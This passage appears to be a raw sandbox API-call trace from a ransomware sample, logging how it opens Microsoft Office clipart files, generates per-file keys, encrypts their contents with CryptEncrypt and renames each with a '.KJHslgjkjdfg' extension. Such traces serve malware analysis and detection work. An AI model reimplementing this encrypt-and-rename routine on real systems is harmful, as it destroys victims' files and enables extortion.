hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.505] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.506] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.506] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.506] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.506] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.506] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.506] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3e9e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3e9e, lpOverlapped=0x0) returned 1 [0203.507] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3ea0, dwBufLen=0x3ea0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3ea0) returned 1 [0203.507] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.507] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3ea0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3ea0, lpOverlapped=0x0) returned 1 [0203.507] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.507] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3f74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.508] SetEndOfFile (hFile=0x130) returned 1 [0203.510] GetProcessHeap () returned 0x2ef0000 [0203.510] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.510] GetProcessHeap () returned 0x2ef0000 [0203.510] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.510] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188667.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188667.wmf.kjhslgjkjdfg")) returned 1 [0203.512] CloseHandle (hObject=0x130) returned 1 [0203.512] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x73a2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0188669.WMF", cAlternateFileName="")) returned 1 [0203.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188669.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.517] GetProcessHeap () returned 0x2ef0000 [0203.517] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.517] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.517] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.517] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0203.519] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.519] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.519] GetProcessHeap () returned 0x2ef0000 [0203.519] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.519] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.519] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.519] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.520] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.520] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.520] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.520] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.520] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.520] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.520] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.520] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.520] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x73a2, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x73a2, lpOverlapped=0x0) returned 1 [0203.522] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x73b0, dwBufLen=0x73b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x73b0) returned 1 [0203.522] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.522] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x73b0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x73b0, lpOverlapped=0x0) returned 1 [0203.522] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.522] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7484, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.522] SetEndOfFile (hFile=0x130) returned 1 [0203.523] GetProcessHeap () returned 0x2ef0000 [0203.523] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.523] GetProcessHeap () returned 0x2ef0000 [0203.523] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.523] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188669.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188669.wmf.kjhslgjkjdfg")) returned 1 [0203.525] CloseHandle (hObject=0x130) returned 1 [0203.525] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x336a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0188679.WMF", cAlternateFileName="")) returned 1 [0203.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188679.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.526] GetProcessHeap () returned 0x2ef0000 [0203.526] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.526] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.526] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.526] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0203.529] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.529] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.529] GetProcessHeap () returned 0x2ef0000 [0203.529] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.529] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.529] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.529] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.529] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.529] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.529] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.529] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.530] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.530] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.530] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.530] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.530] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x336a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x336a, lpOverlapped=0x0) returned 1 [0203.531] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3370, dwBufLen=0x3370 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3370) returned 1 [0203.531] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.531] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3370, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3370, lpOverlapped=0x0) returned 1 [0203.531] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.531] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3444, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.531] SetEndOfFile (hFile=0x130) returned 1 [0203.534] GetProcessHeap () returned 0x2ef0000 [0203.534] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.534] GetProcessHeap () returned 0x2ef0000 [0203.534] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.534] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188679.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188679.wmf.kjhslgjkjdfg")) returned 1 [0203.535] CloseHandle (hObject=0x130) returned 1 [0203.535] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ca4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0195248.WMF", cAlternateFileName="")) returned 1 [0203.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195248.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.536] GetProcessHeap () returned 0x2ef0000 [0203.536] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.536] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.536] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.537] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0203.539] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.539] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.539] GetProcessHeap () returned 0x2ef0000 [0203.539] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.539] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.539] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.539] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.539] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.539] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.539] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.539] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.539] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.539] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.539] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.539] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.539] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1ca4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1ca4, lpOverlapped=0x0) returned 1 [0203.540] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1cb0, dwBufLen=0x1cb0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1cb0) returned 1 [0203.540] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.541] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1cb0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1cb0, lpOverlapped=0x0) returned 1 [0203.541] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.541] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1d84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.541] SetEndOfFile (hFile=0x130) returned 1 [0203.543] GetProcessHeap () returned 0x2ef0000 [0203.543] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.543] GetProcessHeap () returned 0x2ef0000 [0203.543] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.543] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195248.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195248.wmf.kjhslgjkjdfg")) returned 1 [0203.545] CloseHandle (hObject=0x130) returned 1 [0203.545] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81dcbf00, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81dcbf00, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x11b6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0195254.WMF", cAlternateFileName="")) returned 1 [0203.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195254.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.546] GetProcessHeap () returned 0x2ef0000 [0203.546] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.546] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.546] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.546] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0203.548] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.548] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.548] GetProcessHeap () returned 0x2ef0000 [0203.548] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.548] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.548] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.548] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.548] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.548] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.548] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.548] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.548] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.548] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, 